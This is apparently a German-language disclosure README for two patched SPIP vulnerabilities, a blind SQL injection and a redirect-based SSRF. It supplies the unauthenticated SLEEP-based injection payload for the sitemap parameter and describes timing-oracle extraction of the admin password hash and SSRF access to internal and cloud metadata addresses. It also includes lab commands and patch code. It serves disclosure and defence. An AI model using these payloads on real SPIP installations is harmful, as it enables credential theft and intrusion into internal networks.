
PoC für CVE-2026-72708 (blinde SQLi) und CVE-2026-109378 (SSRF) in SPIP, beide in 4.4.18 behoben
Reproduzierbares Proof-of-Concept-Material für zwei Schwachstellen, die ich in SPIP gemeldet habe und die beide in 4.4.18 behoben wurden.
| CVE | Klasse | Auth | CVSS 4.0 | Sink |
|---|---|---|---|---|
| CVE-2026-72708 | Blind-SQL-Injection (CWE-89) | keine | 8.7 Hoch | ecrire/req/mysql.php:1730 |
| CVE-2026-109378 | SSRF über HTTP-Redirect (CWE-918) | niedrig | 5.3 Mittel | ecrire/inc/distant.php:567-582 |
Beide wurden am 2026-08-05 an [email protected] gemeldet. SPIP lieferte den Fix in
4.4.18 am 2026-08-10 aus. Dieses Material wird nach dem Patch veröffentlicht, was der
ganze Sinn der Veröffentlichung ist.
Alles hier läuft gegen ein wegwerfbares lokales Lab, das an
127.0.0.1gebunden ist. Richte es nicht auf einen Host, der dir nicht gehört.
spip_mysql_cite() gibt einen Wert ohne Anführungszeichen zurück, wenn die Zielspalte ein
Datums-Typ ist und der Wert auf /^\w+\(/ passt:
} elseif (sql_test_date($type) and preg_match('/^\w+\(/', $v)) {
return $v;
}
Der reguläre Ausdruck sollte NOW() als Funktionsaufruf durchlassen und nicht als
String. Er prüft die Form eines Funktionsaufrufs, nicht dessen Namen, daher erfüllen SLEEP(5),
IF(...) und UPDATEXML(...) ihn ebenfalls.
Die erreichbare Senke ist das Kriterium {annee?} von squelettes-dist/sitemap.xml.html,
das mit jeder Installation ausgeliefert wird und mit einer datetime-Spalte verglichen wird. Die
Sitemap ist öffentlich, daher ist kein Konto erforderlich:
GET /spip.php?page=sitemap.xml&annee=IF(1,SLEEP(5),0)
Führe es aus:
bash CVE-2026-72708-sqli/poc_sqli.sh
Das Skript beweist den Sink, zeigt die Verzögerung, die dem SLEEP()-Argument folgt,
und rekonstruiert dann die ersten zwölf Zeichen des Admin-Passwort-Hashes über ein
reines Timing-Orakel und prüft das Ergebnis gegen die Datenbank.
SLEEP() lebt in einer WHERE-Klausel, die MySQL pro Zeile auswertet. Bei null Artikeln wird sie nie ausgelöst.
lab/seed.sh fügt einen veröffentlichten Artikel ein.&z=<random>). Das Skript tut dies bereits.SPIP hat einen wirklich guten SSRF-Schutz, valider_url_distante(): Scheme-
Whitelist, private und reservierte Bereiche, Link-Local, DNS-Rebinding, Credential-
URLs. Aufrufer führen ihn vor dem Abruf aus.
recuperer_url() folgt dann bis zu zehn Redirects und validiert das Ziel, das es
gleich abrufen wird, nie erneut:
$url = suivre_lien($url, $res['location']); // 571, attacker controlled
// ... method adjustment, a log line ...
return recuperer_url($url, $options); // 582, fetched
Ein 302 von einem Host, der die Validierung besteht, führt direkt in alles, was der Guard blockieren sollte, 169.254.169.254 eingeschlossen.
Ausführen:
docker exec -w /var/www/html spiplab-app php /tmp/poc_ssrf.php
Das Skript zeigt, wie der Guard sieben feindliche URLs korrekt ablehnt und dann eine dieser exakten URLs über eine Weiterleitung abruft und den Inhalt zurückgibt.
cd lab
docker compose up -d # SPIP 4.4.16 + MariaDB, bound to 127.0.0.1:8888
sleep 40 # auto install
bash seed.sh # one published article, clears the page cache
Die Datenbank hat keinen Host-Port. Der Web-Container lauscht nur auf Loopback.
Bauen Sie ihn mit docker compose down -v ab.
Um den SSRF-Pfad zu testen, benötigen Sie außerdem den Ersatz-Redirector und einen nur intern erreichbaren Dienst:
docker cp redir.php spiplab-app:/var/www/html/redir.php
docker exec spiplab-app sh -c 'mkdir -p /tmp/internal && \
echo "INTERNAL-SERVICE-SECRET-7f3a9c2e" > /tmp/internal/secret.txt && \
(setsid nohup php -S 0.0.0.0:9001 -t /tmp/internal >/tmp/internal/srv.log 2>&1 &)'
redir.php gibt lediglich einen 302 auf das aus, was ?to= angibt. In einem echten Angriff wird diese Rolle von einem öffentlichen Host übernommen, den der Guard gerne zulässt.
requests/ in jedem Verzeichnis enthält die rohen HTTP-Austausche, die während der obigen Läufe vom Netzwerk abgefangen wurden, eine .req und eine .res pro Schritt. Fügen Sie eine .req unverändert in Burp Repeater ein.
Für die SQLi ist das interessante Paar sqli-03-oracle-true (2,051 s) gegenüber sqli-04-oracle-false (0,049 s): dieselbe Frage, der Schwellenwert um eins verschoben, und die Antwort ist die Differenz der Antwortzeit. Die Bodies sind identisch.
Für die SSRF ist ssrf-02-internal-hits.log das Zugriffsprotokoll des internen Dienstes und zeigt, wie SPIP auf einem Host eintrifft, dessen Auflösung es gerade noch verweigert hatte.
SQL-Injection: Ersetzen Sie den lockeren Regex durch eine Whitelist:
} elseif (sql_test_date($type) and preg_match(
'/^(NOW|CURDATE|CURTIME|CURRENT_TIMESTAMP|CURRENT_DATE|CURRENT_TIME|UTC_DATE|UTC_TIME|UTC_TIMESTAMP)\s*\(\s*\)$/i',
$v
)) {
Wenden Sie dieselbe Änderung auf ecrire/req/sqlite_generique.php an.
SSRF: Validieren Sie das Weiterleitungsziel, bevor Sie ihm folgen:
$url = suivre_lien($url, $res['location']);
if (!valider_url_distante($url)) {
spip_log("SSRF: blocked redirect to $url", 'distant' . _LOG_ERREUR);
return false;
}
return recuperer_url($url, $options);
Oder führen Sie einfach ein Upgrade auf 4.4.18 durch, das beide enthält.
CVE-2026-72708 wurde unabhängig davon von Franck Chevalier (Wayko) von Lexfo / Ambionics mitentdeckt, der dieselbe Senke, denselben unauthentifizierten Einstiegspunkt fand und die vollständigen Ketten bis zur Remote-Code-Ausführung über CVE-2026-72709 und CVE-2026-72710 aufbaute. Ihr Writeup ist das tiefergehende technische Dokument, und ihre Tooling-Sammlung befindet sich unter ambionics/spip-exploits.
CVE-2026-109378 wurde allein gemeldet.
MIT. Veröffentlicht für Verteidiger, Auditoren und alle, die verstehen wollen, warum ein Regex mit fünfzehn Zeichen am Ende 8,7 Punkte wert war.
-- ka3n1x